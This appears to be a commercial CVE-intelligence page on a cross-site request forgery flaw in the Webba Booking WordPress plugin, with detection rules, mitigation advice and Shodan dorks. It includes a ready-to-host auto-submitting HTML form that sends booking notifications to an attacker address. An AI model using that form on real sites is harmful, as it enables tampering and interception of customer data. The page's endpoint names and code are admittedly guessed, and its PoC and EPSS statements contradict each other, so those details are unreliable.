☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Webba logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54036

CVE-2025-54036 Cross-Site Request Forgery in Webba
📅 PUBLISHED: 2025-07-16 11:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54036 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Webba Booking plugin (webba-booking-lite) for WordPress, affecting versions through 5.1.20. This vulnerability allows an attacker to forge requests on behalf of an authenticated administrator, potentially leading to unauthorized changes to booking settings, appointments, or configurations. The vulnerability is classified as a WordPress ecosystem issue, as the plugin operates within the WordPress environment.

The CVSS score of 4.3 (Medium) reflects the low impact on confidentiality and integrity, but the attack vector is network-based with low complexity, requiring only user interaction. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score of 0.0% indicates a very low probability of exploitation in the wild at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel for a patched version. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed to initiate the attack.
  • User Interaction: Required (UI:R) – Victim must click a malicious link or visit a crafted page.
  • Scope: Unchanged (S:U) – The vulnerable component remains isolated.
  • Confidentiality Impact: None (C:N) – No data disclosure.
  • Integrity Impact: Low (I:L) – Unauthorized modification of data is possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for social engineering campaigns make this a concern for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability resides in the Webba Booking plugin’s administrative interface. CSRF occurs when the plugin fails to validate the origin of requests made to sensitive endpoints, such as those handling settings updates, appointment modifications, or user role changes. An attacker can craft a malicious HTML page or email that, when visited by an authenticated administrator, triggers a forged request to the WordPress site.

The attack flow:

  1. The attacker identifies a state-changing endpoint (e.g., wp-admin/admin.php?page=webba-booking&action=update_settings).
  2. The attacker crafts a request with malicious parameters (e.g., changing the booking form’s email recipient to an attacker-controlled address).
  3. The attacker hosts the malicious page or sends a phishing email containing an image tag or auto-submitting form.
  4. The victim (authenticated admin) visits the page, and the browser automatically sends the forged request with the victim’s session cookies.
  5. The plugin processes the request without verifying a CSRF token, leading to unauthorized changes.

The vulnerability is classified under CWE-352: Cross-Site Request Forgery. The plugin likely lacks nonce verification or origin checks in its admin AJAX handlers or form submissions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s admin-facing functions. A typical vulnerable pattern in WordPress plugins is:

Vulnerable Code (webba-booking-lite/admin/class-webba-booking-admin.php):

function save_settings() {
    if ( isset( $_POST['webba_booking_email'] ) ) {
        update_option( 'webba_booking_email', sanitize_text_field( $_POST['webba_booking_email'] ) );
    }
    // No nonce check or referer validation
}

Patched Code (hypothetical):

function save_settings() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'webba_booking_save_settings' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
    if ( isset( $_POST['webba_booking_email'] ) ) {
        update_option( 'webba_booking_email', sanitize_text_field( $_POST['webba_booking_email'] ) );
    }
}

The patch would add a WordPress nonce check (wp_verify_nonce()) to all state-changing actions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Webba Booking plugin version <= 5.1.20.
  • An authenticated administrator session (victim).
  • A way to deliver the malicious payload (e.g., email, social media, or compromised site).

Exploitation Steps:

  1. Identify a vulnerable endpoint. For example, the plugin’s settings page might accept POST requests to wp-admin/admin-post.php?action=webba_update_settings.
  2. Craft a malicious HTML page that auto-submits a form:
    <html>
    <body>
    <form action="http://target-site.com/wp-admin/admin-post.php?action=webba_update_settings" method="POST">
        <input type="hidden" name="webba_booking_email" value="attacker@evil.com">
        <input type="hidden" name="webba_booking_notification" value="disabled">
        <input type="submit" value="Click me">
    </form>
    <script>document.forms[0].submit();</script>
    </body>
    </html>
    
  3. Host the page on an attacker-controlled server or embed it in an email.
  4. Send the link to the victim administrator.
  5. Once the victim visits the page, the form auto-submits, changing the booking email to the attacker’s address.

Expected Outcome: The attacker gains the ability to receive booking notifications, potentially intercepting sensitive customer data.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual POST requests to admin-post.php or admin-ajax.php with parameters related to Webba Booking.
  • Look for requests lacking a _wpnonce parameter or with an invalid nonce.
  • Analyze server logs for referer headers that do not match the site’s domain.

Defense:

  • Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
  • Enforce SameSite cookies (set to Lax or Strict) to prevent cross-site requests.
  • Educate administrators about phishing attacks and the importance of logging out after sessions.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /wp-admin/admin-post.php?action=webba_* with no _wpnonce parameter.
    • Referer headers pointing to external domains.
  • File IOCs:
    • Modified options in the wp_options table (e.g., webba_booking_email changed to an unknown address).
    • Suspicious entries in wp_postmeta related to booking data.
  • Behavioral IOCs:
    • Unexpected changes to booking settings or appointment configurations.
    • Administrator accounts performing actions without corresponding UI interaction.

Detection Engineering

YARA Rule

rule CVE_2025_54036_Webba_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against Webba Booking plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54036"
    strings:
        $action = "action=webba_" nocase
        $admin_post = "admin-post.php" nocase
        $admin_ajax = "admin-ajax.php" nocase
    condition:
        any of ($action) and any of ($admin_post, $admin_ajax)
}

Sigma Rule

title: CSRF Exploitation Against Webba Booking Plugin
id: 8f4a2b1c-3d5e-4f7a-9b8c-1d2e3f4a5b6c
status: experimental
description: Detects POST requests to WordPress admin endpoints with Webba Booking parameters lacking nonce
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54036
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains:
            - "admin-post.php"
            - "admin-ajax.php"
        cs-uri-query|contains: "action=webba_"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate plugin updates with nonce
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54036 Webba Booking CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-post.php"; http_uri; content:"action=webba_"; http_uri; pcre:"/^(?!.*_wpnonce).*$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to operations until a patch is released.
  2. Monitor plugin updates from the WordPress plugin repository for a patched version.
  3. Implement a WAF rule to block requests to admin-post.php and admin-ajax.php that lack a _wpnonce parameter.

Long-Term Fixes:

  • The vendor must add WordPress nonce verification to all state-changing actions.
  • Use the check_admin_referer() function in all admin-facing forms and AJAX handlers.
  • Enforce CSRF tokens for all POST requests.

Workarounds:

  • Restrict access to the WordPress admin panel via IP whitelisting or VPN.
  • Use a security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"webba-booking-lite"
http.html:"webba" "booking" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54036/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.